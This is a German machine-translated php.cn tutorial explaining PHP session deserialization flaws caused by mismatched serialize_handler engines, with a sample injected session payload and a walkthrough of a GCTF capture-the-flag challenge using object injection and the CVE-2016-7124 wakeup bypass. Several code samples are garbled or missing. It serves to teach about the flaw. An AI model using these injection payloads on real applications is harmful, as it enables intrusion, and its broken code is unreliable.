Heim > Backend-Entwicklung > PHP-Tutorial > Eine ausführliche Analyse der SESSION-Deserialisierungsschwachstelle von PHP

Eine ausführliche Analyse der SESSION-Deserialisierungsschwachstelle von PHP

微波
Freigeben: 2023-03-11 18:10:01
Original
1180 Leute haben es durchsucht

Dieser Artikel stellt hauptsächlich die Sitzungs--Deserialisierungsschwachstelle von PHP vor. Freunde in Not können sich auf

Es gibt drei Konfigurationselemente in php.ini:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php
Nach dem Login kopieren

Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.

Bei der Installation mit der xampp-Komponente werden die oben genannten Konfigurationselemente wie folgt festgelegt:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎
Nach dem Login kopieren

In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen Neben der Standard-PHP-Engine gibt es noch andere Engines, und die Sitzungsspeichermethoden, die den verschiedenen Engines entsprechen, sind unterschiedlich.

php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.

php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert

php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert

Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'The Motor, der eingestellt werden muss');. Der Beispielcode lautet wie folgt:

Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);
Nach dem Login kopieren

Unter der php_serialize-Engine lauten die in der Sitzungsdatei gespeicherten Daten:

a:1:{s:4:"name";s:6:"spoock";}
Nach dem Login kopieren

Der Inhalt der Datei unter der PHP-Engine ist:

name|s:6:"spoock";
Nach dem Login kopieren

php_binary Der Inhalt der Datei unter der Engine ist:

names:6:"spoock";
Nach dem Login kopieren

Seitdem Die Länge des Namens beträgt 4, 4 entspricht der ASCII-Tabelle. Es ist EOT. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)

Serialisierungsrisiken in PHP-Sitzung

Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.

Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;
Nach dem Login kopieren

PHP-Dateien wie:

Nach dem Login kopieren

Nach dem Zugriff lautet der Inhalt der Sitzungsdatei wie folgt:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";
Nach dem Login kopieren

Aber bei Diesmal findet die Simulation auf anderen Seiten statt. Der Inhalt bei Verwendung verschiedener PHP-Engines zum Lesen ist wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)

a;
  }
}
// var_dump($_SESSION);
Nach dem Login kopieren

Beim Zugriff auf diese Seite die Ausgabe xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
Nach dem Login kopieren

Dies liegt daran, dass bei Verwendung der PHP-Engine | als Trennzeichen zwischen Schlüssel und Wert verwendet wird, dann a:1:{s:4:"ryat"; s:30:" wird als SESSION-Schlüssel und O: 1:"A":1:{s:1:"a";s:2:"xx";} als Wert verwendet und dann deserialisiert und Schließlich erhalten Sie die Klasse A

Der Grund für die Sicherheitslücke bei der PHP-Sitzungsserialisierung besteht darin, dass die verschiedenen Engines, die für die Serialisierung und Deserialisierung verwendet werden, dazu führen, dass die Sicherheitslücke ausgelöst wird, wenn die Sitzung den Inhalt der Sitzung liest und deserialisiert Beim Laden einer Seite mit der PHP-Engine ist keine Ausgabe erforderlich.

Analyse einer Sicherheitslücke bei der Sitzungsdeserialisierung in GCTF:

Der Inhalt im Index .php ist:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(FILE);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>
Nach dem Login kopieren

In PHP werden Serialisierungsvorgänge häufig für den Zugriff auf Daten verwendet, eine unsachgemäße Handhabung während des Serialisierungsprozesses kann jedoch einige Sicherheitsrisiken verursachen.

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>
Nach dem Login kopieren

query.php . Der Inhalt von

;
/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function destruct(){
    echo $this->attr;
  }
}
*/
Nach dem Login kopieren

Weisen Sie dem TOPB-Objekt attr zu und tostring wird automatisch aufgerufen, wenn echo TOPBMagic-Methode

aufgerufen wird in tostring

, da Token und Ticket später verwendet werden, handelt es sich offensichtlich um ein TOPA-Objekt. Die nachfolgende Beurteilung erfordert echo $this->attr;, sodass die Zeigerreferenz während der Serialisierung verwendet wird, um die Beurteilung von

zu umgehen Gibt

ein Flag aus? Das im Hintergrund geschriebene Login enthält eine Wakeup()-Funktion, um die darin enthaltenen Parameter zu löschen CVE: CVE-2016-7124. Wenn Sie das Feld, das die Menge im Objekt darstellt, auf einen Wert ändern, der größer als das tatsächliche Feld ist, kann die Weckfunktion umgangen werden.

Der endgültige Code lautet:

unserialize($this->attr)$this->obj->token === $this->obj->ticketDie endgültige Nutzlast ist:$a->ticket = &$a->token;

Das obige ist der detaillierte Inhalt vonEine ausführliche Analyse der SESSION-Deserialisierungsschwachstelle von PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage